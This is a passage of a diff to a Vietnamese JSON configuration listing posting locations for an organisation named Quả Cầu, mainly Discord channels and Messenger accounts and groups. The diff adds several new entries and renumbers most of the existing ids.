"Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2U" + }, + { + "Tên nơi đăng": [ + "2", + "o" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2V" + }, + { + "Tên nơi đăng": [ + "3", + "v" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2W" + }, + { + "Tên nơi đăng": [ + "4", + "e" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2X" + }, + { + "Tên nơi đăng": [ + "5", + "r" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2Y" + }, + { + "Tên nơi đăng": [ + "6", + "s" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2Z" + }, + { + "Tên nơi đăng": [ + "7", + "e" + ], + "Loại nơi đăng": [ + "Máy chủ", + "Kênh thường" + ], + "Tên nền tảng": "Discord", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Chủ đề kênh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2a" + }, { "Tên nơi đăng": [ "Hoàng Thu Trang" @@ -7067,7 +7427,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2T" + "id": "2b" }, { "Tên nơi đăng": [ @@ -7107,7 +7467,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2U" + "id": "2c" }, { "Tên nơi đăng": [ @@ -7147,7 +7507,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2V" + "id": "2d" }, { "Tên nơi đăng": [ @@ -7187,7 +7547,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2W" + "id": "2e" }, { "Tên nơi đăng": [ @@ -7227,7 +7587,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2X" + "id": "2f" }, { "Tên nơi đăng": [ @@ -7267,7 +7627,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2Y" + "id": "2g" }, { "Tên nơi đăng": [ @@ -7307,7 +7667,87 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2Z" + "id": "2h" + }, + { + "Tên nơi đăng": [ + "Nguyễn Đức Thịnh" + ], + "Loại nơi đăng": [ + "Tài khoản" + ], + "Tên nền tảng": "Messenger", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2i" + }, + { + "Tên nơi đăng": [ + "Ha Nhu Minh" + ], + "Loại nơi đăng": [ + "Tài khoản" + ], + "Tên nền tảng": "Messenger", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Vị trí có thể đăng": [ + [ + "Tin nhắn", + "Nội dung chính" + ], + [ + "Tin nhắn", + "QR trong ảnh" + ], + [ + "Tin nhắn", + "Chữ trong ảnh" + ], + [ + "Tin nhắn ghim", + "Nội dung chính" + ], + [ + "Tin nhắn ghim", + "QR trong ảnh" + ], + [ + "Tin nhắn ghim", + "Chữ trong ảnh" + ] + ], + "Đơn vị quản lý": "Bạn bè Quả Cầu", + "Slug": null, + "id": "2j" }, { "Tên nơi đăng": [ @@ -7347,7 +7787,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2a" + "id": "2k" }, { "Tên nơi đăng": [ @@ -7387,7 +7827,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2b" + "id": "2l" }, { "Tên nơi đăng": [ @@ -7427,7 +7867,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2c" + "id": "2m" }, { "Tên nơi đăng": [ @@ -7467,7 +7907,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2d" + "id": "2n" }, { "Tên nơi đăng": [ @@ -7507,7 +7947,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2e" + "id": "2o" }, { "Tên nơi đăng": [ @@ -7547,7 +7987,7 @@ ], "Đơn vị quản lý": "Bạn bè Quả Cầu", "Slug": null, - "id": "2f" + "id": "2p" }, { "Tên nơi đăng": [ @@ -7633,7 +8073,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "chimsáo", - "id": "2g" + "id": "2q" }, { "Tên nơi đăng": [ @@ -7719,7 +8159,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "vđqc", - "id": "2h" + "id": "2r" }, { "Tên nơi đăng": [ @@ -7805,7 +8245,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "bpd", - "id": "2i" + "id": "2s" }, { "Tên nơi đăng": [ @@ -7891,7 +8331,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "triếtphươngđông", - "id": "2j" + "id": "2t" }, { "Tên nơi đăng": [ @@ -7977,7 +8417,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "nhậnthứcphứchợp", - "id": "2k" + "id": "2u" }, { "Tên nơi đăng": [ @@ -8063,7 +8503,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "giácquankèm", - "id": "2l" + "id": "2v" }, { "Tên nơi đăng": [ @@ -8169,7 +8609,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "pagefbQC", - "id": "2m" + "id": "2w" }, { "Tên nơi đăng": [ @@ -8275,7 +8715,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2n" + "id": "2x" }, { "Tên nơi đăng": [ @@ -8289,7 +8729,7 @@ "Phương thức tạo": "Lấy trong cấu hình nơi đăng", "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2o" + "id": "2y" }, { "Tên nơi đăng": [ @@ -8304,7 +8744,7 @@ "Phương thức tạo": "Lấy trong cấu hình nơi đăng", "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2p" + "id": "2z" }, { "Tên nơi đăng": [ @@ -8343,7 +8783,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2q" + "id": "2-" }, { "Tên nơi đăng": [ @@ -8379,7 +8819,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2r" + "id": "2_" }, { "Tên nơi đăng": [ @@ -8408,7 +8848,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2s" + "id": "30" }, { "Tên nơi đăng": [ @@ -8437,7 +8877,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2t" + "id": "31" }, { "Tên nơi đăng": [ @@ -8466,7 +8906,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2u" + "id": "32" }, { "Tên nơi đăng": [ @@ -8495,7 +8935,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2v" + "id": "33" }, { "Tên nơi đăng": [ @@ -8524,7 +8964,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2w" + "id": "34" }, { "Tên nơi đăng": [ @@ -8553,7 +8993,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2x" + "id": "35" }, { "Tên nơi đăng": [ @@ -8582,7 +9022,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2y" + "id": "36" }, { "Tên nơi đăng": [ @@ -8611,7 +9051,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2z" + "id": "37" }, { "Tên nơi đăng": [ @@ -8640,7 +9080,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2-" + "id": "38" }, { "Tên nơi đăng": [ @@ -8669,7 +9109,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "2_" + "id": "39" }, { "Tên nơi đăng": [ @@ -8698,7 +9138,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "30" + "id": "3A" }, { "Tên nơi đăng": [ @@ -8727,7 +9167,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "31" + "id": "3B" }, { "Tên nơi đăng": [ @@ -8756,7 +9196,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "32" + "id": "3C" }, { "Tên nơi đăng": [ @@ -8785,7 +9225,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "33" + "id": "3D" }, { "Tên nơi đăng": [ @@ -8814,7 +9254,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "34" + "id": "3E" }, { "Tên nơi đăng": [ @@ -8843,7 +9283,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "35" + "id": "3F" }, { "Tên nơi đăng": [ @@ -8872,7 +9312,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "36" + "id": "3G" }, { "Tên nơi đăng": [ @@ -8901,7 +9341,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "37" + "id": "3H" }, { "Tên nơi đăng": [ @@ -8930,7 +9370,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "38" + "id": "3I" }, { "Tên nơi đăng": [ @@ -8959,7 +9399,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "39" + "id": "3J" }, { "Tên nơi đăng": [ @@ -8988,7 +9428,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3A" + "id": "3K" }, { "Tên nơi đăng": [ @@ -9017,7 +9457,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3B" + "id": "3L" }, { "Tên nơi đăng": [ @@ -9046,7 +9486,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3C" + "id": "3M" }, { "Tên nơi đăng": [ @@ -9075,7 +9515,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3D" + "id": "3N" }, { "Tên nơi đăng": [ @@ -9104,7 +9544,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3E" + "id": "3O" }, { "Tên nơi đăng": [ @@ -9146,7 +9586,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "bpd", - "id": "3F" + "id": "3P" }, { "Tên nơi đăng": [ @@ -9188,7 +9628,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "triếtphươngđông", - "id": "3G" + "id": "3Q" }, { "Tên nơi đăng": [ @@ -9230,7 +9670,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "nhậnthứcphứchợp", - "id": "3H" + "id": "3R" }, { "Tên nơi đăng": [ @@ -9276,7 +9716,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#a", - "id": "3I" + "id": "3S" }, { "Tên nơi đăng": [ @@ -9324,7 +9764,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "3J" + "id": "3T" }, { "Tên nơi đăng": [ @@ -9370,7 +9810,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b1", - "id": "3K" + "id": "3U" }, { "Tên nơi đăng": [ @@ -9415,7 +9855,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3L" + "id": "3V" }, { "Tên nơi đăng": [ @@ -9460,7 +9900,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3M" + "id": "3W" }, { "Tên nơi đăng": [ @@ -9505,7 +9945,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3N" + "id": "3X" }, { "Tên nơi đăng": [ @@ -9550,7 +9990,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3O" + "id": "3Y" }, { "Tên nơi đăng": [ @@ -9595,7 +10035,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3P" + "id": "3Z" }, { "Tên nơi đăng": [ @@ -9640,7 +10080,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3Q" + "id": "3a" }, { "Tên nơi đăng": [ @@ -9685,7 +10125,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3R" + "id": "3b" }, { "Tên nơi đăng": [ @@ -9730,7 +10170,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3S" + "id": "3c" }, { "Tên nơi đăng": [ @@ -9775,7 +10215,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3T" + "id": "3d" }, { "Tên nơi đăng": [ @@ -9820,7 +10260,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3U" + "id": "3e" }, { "Tên nơi đăng": [ @@ -9865,7 +10305,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3V" + "id": "3f" }, { "Tên nơi đăng": [ @@ -9910,7 +10350,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3W" + "id": "3g" }, { "Tên nơi đăng": [ @@ -9955,7 +10395,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3X" + "id": "3h" }, { "Tên nơi đăng": [ @@ -10000,7 +10440,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b2", - "id": "3Y" + "id": "3i" }, { "Tên nơi đăng": [ @@ -10045,7 +10485,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b3", - "id": "3Z" + "id": "3j" }, { "Tên nơi đăng": [ @@ -10090,7 +10530,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#b3", - "id": "3a" + "id": "3k" }, { "Tên nơi đăng": [ @@ -10136,7 +10576,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c1", - "id": "3b" + "id": "3l" }, { "Tên nơi đăng": [ @@ -10181,7 +10621,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3c" + "id": "3m" }, { "Tên nơi đăng": [ @@ -10226,7 +10666,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3d" + "id": "3n" }, { "Tên nơi đăng": [ @@ -10271,7 +10711,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3e" + "id": "3o" }, { "Tên nơi đăng": [ @@ -10316,7 +10756,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3f" + "id": "3p" }, { "Tên nơi đăng": [ @@ -10361,7 +10801,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3g" + "id": "3q" }, { "Tên nơi đăng": [ @@ -10406,7 +10846,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3h" + "id": "3r" }, { "Tên nơi đăng": [ @@ -10451,7 +10891,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3i" + "id": "3s" }, { "Tên nơi đăng": [ @@ -10496,7 +10936,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#c2", - "id": "3j" + "id": "3t" }, { "Tên nơi đăng": [ @@ -10541,7 +10981,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#d", - "id": "3k" + "id": "3u" }, { "Tên nơi đăng": [ @@ -10587,7 +11027,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#e", - "id": "3l" + "id": "3v" }, { "Tên nơi đăng": [ @@ -10633,7 +11073,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#f1", - "id": "3m" + "id": "3w" }, { "Tên nơi đăng": [ @@ -10679,7 +11119,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#f2", - "id": "3n" + "id": "3x" }, { "Tên nơi đăng": [ @@ -10724,7 +11164,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3o" + "id": "3y" }, { "Tên nơi đăng": [ @@ -10769,7 +11209,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3p" + "id": "3z" }, { "Tên nơi đăng": [ @@ -10814,7 +11254,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3q" + "id": "3-" }, { "Tên nơi đăng": [ @@ -10859,7 +11299,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3r" + "id": "3_" }, { "Tên nơi đăng": [ @@ -10904,7 +11344,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3s" + "id": "40" }, { "Tên nơi đăng": [ @@ -10949,7 +11389,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3t" + "id": "41" }, { "Tên nơi đăng": [ @@ -10994,7 +11434,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3u" + "id": "42" }, { "Tên nơi đăng": [ @@ -11039,7 +11479,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3v" + "id": "43" }, { "Tên nơi đăng": [ @@ -11084,7 +11524,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3w" + "id": "44" }, { "Tên nơi đăng": [ @@ -11129,7 +11569,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3x" + "id": "45" }, { "Tên nơi đăng": [ @@ -11174,7 +11614,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3y" + "id": "46" }, { "Tên nơi đăng": [ @@ -11219,7 +11659,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3z" + "id": "47" }, { "Tên nơi đăng": [ @@ -11264,7 +11704,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3-" + "id": "48" }, { "Tên nơi đăng": [ @@ -11309,7 +11749,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "3_" + "id": "49" }, { "Tên nơi đăng": [ @@ -11354,7 +11794,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "40" + "id": "4A" }, { "Tên nơi đăng": [ @@ -11399,7 +11839,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "41" + "id": "4B" }, { "Tên nơi đăng": [ @@ -11444,7 +11884,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "discordQC#g", - "id": "42" + "id": "4C" }, { "Tên nơi đăng": [ @@ -11487,7 +11927,21 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "43" + "id": "4D" + }, + { + "Tên nơi đăng": [ + "Ban cố vấn giao tiếp" + ], + "Loại nơi đăng": [ + "Nhóm" + ], + "Tên nền tảng": "Messenger", + "Loại nền tảng": "Chat", + "Phương thức tạo": "Lấy trong cấu hình nơi đăng", + "Đơn vị quản lý": "Quả Cầu", + "Slug": null, + "id": "4E" }, { "Tên nơi đăng": [ @@ -11527,7 +11981,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "44" + "id": "4F" }, { "Tên nơi đăng": [ @@ -11567,7 +12021,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "zalo321", - "id": "45" + "id": "4G" }, { "Tên nơi đăng": [ @@ -11589,7 +12043,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "cvLộc", - "id": "46" + "id": "4H" }, { "Tên nơi đăng": [ @@ -11611,7 +12065,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "47" + "id": "4I" }, { "Tên nơi đăng": [ @@ -11639,7 +12093,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "vđqc", - "id": "48" + "id": "4J" }, { "Tên nơi đăng": [ @@ -11667,7 +12121,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "49" + "id": "4K" }, { "Tên nơi đăng": [ @@ -11695,7 +12149,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4A" + "id": "4L" }, { "Tên nơi đăng": [ @@ -11723,7 +12177,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4B" + "id": "4M" }, { "Tên nơi đăng": [ @@ -11751,7 +12205,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4C" + "id": "4N" }, { "Tên nơi đăng": [ @@ -11779,7 +12233,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4D" + "id": "4O" }, { "Tên nơi đăng": [ @@ -11807,7 +12261,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4E" + "id": "4P" }, { "Tên nơi đăng": [ @@ -11841,7 +12295,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4F" + "id": "4Q" }, { "Tên nơi đăng": [ @@ -11875,7 +12329,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "tồntạitrongthếgiớitưbản", - "id": "4G" + "id": "4R" }, { "Tên nơi đăng": [ @@ -11909,7 +12363,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4H" + "id": "4S" }, { "Tên nơi đăng": [ @@ -11943,7 +12397,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4I" + "id": "4T" }, { "Tên nơi đăng": [ @@ -11977,7 +12431,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4J" + "id": "4U" }, { "Tên nơi đăng": [ @@ -12011,7 +12465,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4K" + "id": "4V" }, { "Tên nơi đăng": [ @@ -12045,7 +12499,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4L" + "id": "4W" }, { "Tên nơi đăng": [ @@ -12079,7 +12533,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4M" + "id": "4X" }, { "Tên nơi đăng": [ @@ -12113,7 +12567,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "webđốithoạiblog", - "id": "4N" + "id": "4Y" }, { "Tên nơi đăng": [ @@ -12147,7 +12601,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "ChiaSẻKhoThôngTin", - "id": "4O" + "id": "4Z" }, { "Tên nơi đăng": [ @@ -12181,7 +12635,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "NhiềuNềnTảng", - "id": "4P" + "id": "4a" }, { "Tên nơi đăng": [ @@ -12215,7 +12669,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": null, - "id": "4Q" + "id": "4b" }, { "Tên nơi đăng": [ @@ -12238,7 +12692,7 @@ ], "Đơn vị quản lý": "Quả Cầu", "Slug": "emailQC", - "id": "4R" + "id": "4c" }, { "Tên nơi đăng": [ @@ -12344,7 +12798,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4S" + "id": "4d" }, { "Tên nơi đăng": [ @@ -12431,7 +12885,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": "NhómUAN", - "id": "4T" + "id": "4e" }, { "Tên nơi đăng": [ @@ -12518,7 +12972,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4U" + "id": "4f" }, { "Tên nơi đăng": [ @@ -12605,7 +13059,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4V" + "id": "4g" }, { "Tên nơi đăng": [ @@ -12692,7 +13146,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4W" + "id": "4h" }, { "Tên nơi đăng": [ @@ -12779,7 +13233,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4X" + "id": "4i" }, { "Tên nơi đăng": [ @@ -12885,7 +13339,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4Y" + "id": "4j" }, { "Tên nơi đăng": [ @@ -12991,7 +13445,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4Z" + "id": "4k" }, { "Tên nơi đăng": [ @@ -13097,7 +13551,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4a" + "id": "4l" }, { "Tên nơi đăng": [ @@ -13203,7 +13657,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4b" + "id": "4m" }, { "Tên nơi đăng": [ @@ -13242,7 +13696,7 @@ ], "Đơn vị quản lý": "UAN", "Slug": null, - "id": "4c" + "id": "4n" }, { "Tên nơi đăng": 